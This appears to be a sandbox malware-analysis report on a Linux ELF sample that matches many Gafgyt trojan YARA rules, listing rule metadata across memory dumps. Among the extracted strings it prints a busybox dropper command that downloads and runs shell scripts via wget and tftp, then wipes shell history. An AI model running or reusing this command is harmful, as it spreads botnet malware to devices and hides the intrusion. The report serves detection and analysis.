Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown

Source: RYrydry.elf	ELF static info symbol of initial sample: Busybox_Payload
Source: RYrydry.elf	ELF static info symbol of initial sample: Payload

Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/system \|\| cd /mnt \|\| cd /lib;rm -f /tmp/ \|\| /var/run/ \|\| /var/system/ \|\| /mnt/ \|\| /lib/;cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd /;busybox wget 127.0.0.1/bins.sh;chmod 777;sh bins.sh;busybox tftp -g 127.0.0.1 -r tftp1.sh;chmod 777 ;sh tftp1.sh;busybox tftp -g 127.0.0.1 -r tftp2.sh;chmod 777 ;sh tftp2.sh;rm -rf sh;history -c;history -w;rm -rf ~/.bash_history;cd /tmp \|\| cd /var/system \|\| cd /mnt \|\| cd /lib;rm -f /tmp/ \|\| /var/run/ \|\| /var/system/ \|\| /mnt/ \|\| /lib/;cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd /;busybox wget 127.0.0.1/bins.sh;chmod 777;sh bins.sh;busybox tftp -g 127.0.0.1 -r tftp1.sh;chmod 777 ;sh tftp1.sh;busybox tftp -g 127.0.0.1 -r tftp2.sh;chmod 777 ;sh tftp2.sh;rm -rf sh;history -c;history -w;rm -rf ~/.bash_history
Source: Initial sample	String containing 'busybox' found: busybox*
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: x86_64Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7Mozilla/5.0 (PLAYSTATION 3; 3.55)Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2wii libnup/1.0Mozilla/4.0 (PSP (PlayStation Portable); 2.00)PSP (PlayStation P
Source: Initial sample	String containing 'busybox' found: Busybox_Payload

Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_148b91a2 reference_sample = d5b2bde0749ff482dc2389971e2ac76c4b1e7b887208a538d5555f0fe6984825, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 0f75090ed840f4601df4e43a2f49f2b32585213f3d86d19fb255d79c21086ba3, id = 148b91a2-ed51-4c2d-9d15-6a48d9ea3e0a, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 reference_sample = d5b2bde0749ff482dc2389971e2ac76c4b1e7b887208a538d5555f0fe6984825, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 0f75090ed840f4601df4e43a2f49f2b32585213f3d86d19fb255d79c21086ba3, id = 148b91a2-ed51-4c2d-9d15-6a48d9ea3e0a, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 reference_sample = d5b2bde0749ff482dc2389971e2ac76c4b1e7b887208a538d5555f0fe6984825, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 0f75090ed840f4601df4e43a2f49f2b32585213f3d86d19fb255d79c21086ba3, id = 148b91a2-ed51-4c2d-9d15-6a48d9ea3e0a, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
